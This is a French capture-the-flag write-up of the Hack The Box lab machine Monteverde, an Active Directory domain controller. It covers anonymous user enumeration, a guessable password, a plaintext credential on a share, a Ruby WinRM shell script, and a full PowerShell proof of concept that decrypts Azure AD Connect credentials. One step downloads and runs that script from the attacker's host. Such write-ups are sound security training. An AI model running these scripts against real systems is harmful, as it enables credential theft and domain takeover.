Hack The Box - Monteverde

Monteverde est une machine Windows considérée comme facile/moyenne et orientée Active Directory. Un pseudo accès anonyme permet d’énumérer les comptes du domaine et ainsi identifier un compte trivial. L’analyse d’un partage réseau permet par la suite de récupérer un compte membre du groupe “Azure Admins”. L’escalade de privilège est réalisée au travers de l’exploitation de Azure AD Connect.

Disclaimer : Il s’agit d’une présentation plutôt rapide qui omet volontairement les différents axes de recherche. Seul les résultats effectifs ainsi qu’une rapide démarche sont présentés.

Découverte / Énumération

Un rapide scan de ports permet d’obtenir les services présents sur la machine.

Nmap scan report for 10.10.10.172
Host is up, received echo-reply ttl 127 (0.085s latency).
Scanned at 2020-02-02 16:30:39 CET for 159s
Not shown: 989 filtered ports
Reason: 989 no-responses
PORT     STATE SERVICE       REASON          VERSION
53/tcp   open  domain?       syn-ack ttl 127
88/tcp   open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2020-02-02 15:41:58Z)
135/tcp  open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp  open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds? syn-ack ttl 127
464/tcp  open  kpasswd5?     syn-ack ttl 127
593/tcp  open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped    syn-ack ttl 127
3268/tcp open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped    syn-ack ttl 127

Ne pas oublier de scanner un nombre de ports plus important que les ports classiques.. Cela m’a valu du temps perdu ! En effet, de cette manière, les ports 5985 et 9389 sont identifiés (et cela est très important pour la suite!)

nmap scan report for 10.10.10.172
Host is up (0.091s latency).
Not shown: 9988 filtered ports
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
5985/tcp open  wsman
9389/tcp open  adws

Le domaine est ainsi repéré et les différents services semblent indiquer que l’on se trouve face à un contrôleur de domaine Active Directory.

Il est possible d’interroger l’AD en tant qu’utilisateur anonyme, ce qui permet notamment de récupérer la liste des utilisateurs du domaine (entre autres).

$ rpcclient -U "" 10.10.10.172
Unable to initialize messaging context
rpcclient $> srvinfo
Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED

rpcclient $> enumdomusers
user:[Guest] rid:[0x1f5]
user:[AAD_987d7f2f57d2] rid:[0x450]
user:[mhope] rid:[0x641]
user:[SABatchJobs] rid:[0xa2a]
user:[svc-ata] rid:[0xa2b]
user:[svc-bexec] rid:[0xa2c]
user:[svc-netapp] rid:[0xa2d]
user:[dgalanos] rid:[0xa35]
user:[roleary] rid:[0xa36]
user:[smorgan] rid:[0xa37]

Note importante : Afin d’éviter les problèmes de résolution DNS, ne pas oublier de renseigner les informations de la machine dans les fichiers resolv.conf et hosts.

$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kalinux

10.10.10.172 megabank.local
$ cat /etc/resolv.conf 
search megabank.local
nameserver 10.10.10.172

Compte trivial et énumération des partages

Il n’est pas rare dans un domaine Active Directory que certains comptes utilisent des mots de passe triviaux, notamment pour les comptes ayant vocation à être utilisé par différents process/personnes.

Après quelques tests on se rend rapidement compte que c’est le cas du compte “SABatchJobs” !

$ crackmapexec smb 10.10.10.172 -u "SABatchJobs" -p "SABatchJobs"          
SMB         10.10.10.172    445    MONTEVERDE       [*] Windows 10.0 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK) (signing:True) (SMBv1:False)
SMB         10.10.10.172    445    MONTEVERDE       [+] MEGABANK\SABatchJobs:SABatchJobs

À partir de là, on peut notamment commencer à fouiller les différents partages réseaux accessibles.

$ crackmapexec smb 10.10.10.172 -u "SABatchJobs" -p "SABatchJobs" --shares
SMB         10.10.10.172    445    MONTEVERDE       [*] Windows 10.0 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK) (signing:True) (SMBv1:False)
SMB         10.10.10.172    445    MONTEVERDE       [+] MEGABANK\SABatchJobs:SABatchJobs 
SMB         10.10.10.172    445    MONTEVERDE       [+] Enumerated shares
SMB         10.10.10.172    445    MONTEVERDE       Share           Permissions     Remark
SMB         10.10.10.172    445    MONTEVERDE       -----           -----------     ------
SMB         10.10.10.172    445    MONTEVERDE       ADMIN$                          Remote Admin
SMB         10.10.10.172    445    MONTEVERDE       azure_uploads   READ            
SMB         10.10.10.172    445    MONTEVERDE       C$                              Default share
SMB         10.10.10.172    445    MONTEVERDE       E$                              Default share
SMB         10.10.10.172    445    MONTEVERDE       IPC$            READ            Remote IPC
SMB         10.10.10.172    445    MONTEVERDE       NETLOGON        READ            Logon server share 
SMB         10.10.10.172    445    MONTEVERDE       SYSVOL          READ            Logon server share 
SMB         10.10.10.172    445    MONTEVERDE       users$          READ      

Le partage users$ attire notre attention. Différents répertoires utilisateurs y sont présents, vides. À l’exception d’un, contenant un fichier azure.xml.

$ smbclient -U SABatchJobs //10.10.10.172/users$

smb: \mhope\> ls
  .                                   D        0  Fri Jan  3 14:41:18 2020
  ..                                  D        0  Fri Jan  3 14:41:18 2020
  azure.xml                          AR     1212  Fri Jan  3 14:40:23 2020

    524031 blocks of size 4096. 519955 blocks available
smb: \mhope\> get azure.xml
getting file \mhope\azure.xml of size 1212 as azure.xml (4.1 KiloBytes/sec) (average 4.1 KiloBytes/sec)

En récupérant le fichier, on se rend compte qu’un mot de passe y est stocké en clair. Il s’agit entre autres d’un fichier de configuration pour Azure.

$ cat azure.xml 
��<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</ToString>
    <Props>
      <DT N="StartDate">2020-01-03T05:35:00.7562298-08:00</DT>
      <DT N="EndDate">2054-01-03T05:35:00.7562298-08:00</DT>
      <G N="KeyId">00000000-0000-0000-0000-000000000000</G>
      <S N="Password">4n0therD4y@n0th3r$</S>
    </Props>
  </Obj>
</Objs>%

On vérifie la validité du mot de passe à l’aide de CrackMapExec, pour l’utilisateur mhope, là où on a trouvé le fichier. Je passe les détails, mais dans la phase d’énumération des utilisateurs et groupe, cet utilisateur a été identifié comme appartenant au groupe “Azure Admins”.

$ crackmapexec smb 10.10.10.172 -u "mhope" -p "4n0therD4y@n0th3r$"    
SMB         10.10.10.172    445    MONTEVERDE       [*] Windows 10.0 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK) (signing:True) (SMBv1:False)
SMB         10.10.10.172    445    MONTEVERDE       [+] MEGABANK\mhope:4n0therD4y@n0th3r$

Accès via WinRM

Cependant, ce compte n’est pas administrateur et les possibilités d’exécution de commande à distance sont limitées. C’est là qu’intervient WinRM (Windows Remote Management). Il s’agit d’un service/protocole Microsoft HTTP, basé sur WS-Management (SOAP) qui permet l’administration à distance de machines sous Windows. De retour à notre scan nmap, le port 5985, utilisé par défaut par WinRM, est ouvert.

Plusieurs façon d’exploiter. J’ai choisi d’utiliser le script Ruby suivant.

$ cat winrm_shell.rb 
require 'winrm'

conn = WinRM::Connection.new(
  endpoint: 'http://10.10.10.172:5985/wsman',
  user: 'MEGABANK\mhope',
  password: '4n0therD4y@n0th3r$',
)

command=""

conn.shell(:powershell) do |shell|
    until command == "exit\n" do
        print "PS > "
        command = gets
        output = shell.run(command) do |stdout, stderr|
            STDOUT.print stdout
            STDERR.print stderr
        end
    end
    puts "Exiting with code #{output.exitcode}"
end

Ce qui donne un accès à la machine ainsi que le premier flag !

$ ruby winrm_shell.rb 
PS > whoami
megabank\mhope
PS > pwd

Path                    
----                    
C:\Users\mhope\Documents


PS > ls ../Desktop

    Directory: C:\Users\mhope\Desktop

Mode                LastWriteTime         Length Name                                                                 
----                -------------         ------ ----                                                            
-ar---         1/3/2020   5:48 AM             32 user.txt

Escalade de privilege - ADSync

À partir de là, on dispose d’un utilisateur membre du groupe “Azure Admins” et il faut trouver un moyen d’escalader ses privilèges. Étant donné la configuration dans laquelle nous sommes, il semble bien que cela tourne autour des mécanismes de Azure.

N’ayant que très peu connaissance de ces thématiques, j’ai commencé par me documenter sur ce qui existait et ce que l’on pouvait faire. Je suis notamment tombé sur la superbe présentation de @_dirkjan (lien).

On y apprend notamment qu’il est possible d’extraire des identifiants d’une machine connectée à un domaine Azure via Azure AD Connect.

Quelques recherches supplémentaires nous redirigent vers 2 ressources intéressantes : - https://blog.xpnsec.com/azuread-connect-for-redteam/ - https://vbscrub.video.blog/2020/01/14/azure-ad-connect-database-exploit-priv-esc/

On peut notamment récupérer un script Powershell qui semble effectuer pour nous l’extraction (merci à @xpn pour ça!).

Write-Host "AD Connect Sync Credential Extract POC (@_xpn_)`n"

$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync"
$client.Open()
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()

$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()

add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'
$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$km.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$km.GetActiveCredentialKey([ref]$key)
$key2 = $null
$km.GetKey(1, [ref]$key2)
$decrypted = $null
$key2.DecryptBase64ToString($crypted, [ref]$decrypted)
$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerXML}}
Write-Host ("Domain: " + $domain.Domain)
Write-Host ("Username: " + $username.Username)
Write-Host ("Password: " + $password.Password)

Cependant, l’exploit n’est pas fonctionnel en l’état. En effet, il existe deux moyens d’extraire ces identifiants : - Par l’intermédiaire d’une base de données SQLExpress par défaut - Par l’intermédiaire d’une instance MSSQL

Ainsi, le type d’authentification utilisée par le script sera à modifier selon le type de base à laquelle on souhaite se connecter.

# Instance MSSQL
"Server=LocalHost;Database=ADSync;Trusted_Connection=True;"

# Instance SQLExpress
"Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync"

Dans le cas de cette machine, une instance MSSQL est utilisée. Ainsi, il est nécessaire de modifier la ligne suivante du script.

$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Server=LocalHost;Database=ADSync;Trusted_Connection=True;"
$client.Open()

Une fois fait, on met en place un petit serveur Python afin de télécharger le script sur la machine. On télécharge ce dernier et on l’exécute directement via notre shell WinRM.

$ ruby winrm_shell.rb                                                          
PS > Invoke-WebRequest -Uri "http://10.10.14.32:8000/test.ps1" -OutFile "test.ps1"
PS > .\test.ps1
AD Connect Sync Credential Extract POC (@_xpn_)

Stage 1 - OK

Stage 2 - OK

Domain: MEGABANK.LOCAL
Username: administrator
Password: d0m@in4dminyeah!

Tadaaaam ! On adapte notre script ruby (WinRM) et on file chercher le flag root !

conn = WinRM::Connection.new( 
  endpoint: 'http://10.10.10.172:5985/wsman',
  user: 'MEGABANK\administrator',
  password: 'd0m@in4dminyeah!',
)
$ ruby winrm_shell_admin.rb
PS > whoami
megabank\administrator
PS > pwd

Path                            
----                            
C:\Users\Administrator\Documents


PS > ls ../Desktop/

    Directory: C:\Users\Administrator\Desktop

Mode                LastWriteTime         Length Name       
----                -------------         ------ ----
-ar---         1/3/2020   5:48 AM             32 root.txt

w00ted !

Hack The Box - Nest